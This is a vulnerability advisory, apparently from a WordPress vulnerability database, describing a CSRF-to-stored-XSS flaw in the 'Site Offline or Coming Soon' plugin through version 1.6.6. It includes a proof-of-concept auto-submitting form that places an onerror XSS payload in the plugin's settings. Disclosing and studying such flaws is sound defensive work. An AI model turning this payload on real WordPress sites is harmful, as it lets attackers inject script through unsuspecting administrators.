Site Offline or Coming Soon <= 1.6.6 - Stored Cross-Site Scripting via CSRF

2022-06-0600:00:00

Daniel Ruf

site offline

css

csrf

site-is-offline plugin

EPSS

0.001

Percentile

40.2%

JSON

The plugin does not have CSRF check in place when updating its settings, and it also lacking sanitisation as well as escaping in some of them. As a result, attackers could make a logged in admin change them and put Cross-Site Scripting payloads in them via a CSRF attack

<form id="test" action="https://example.com/wp-admin/options-general.php?page=site-is-offline-plugin%2Fmain.php" method="POST">
    <input type="text" name="cp_siteoffline_enabled" value="true">
    <input type="text" name="cpso_save_settings" value="Änderungen speichern">
    <input type="text" name="cp_siteoffline_content" value="<img src=x onerror=alert(/XSS/)>">
</form>
<script>
    document.getElementById("test").submit();
</script>

EPSS

0.001

Percentile

40.2%

JSON

Related for WPEX-ID:67678666-402B-4010-AC56-7067A0F40185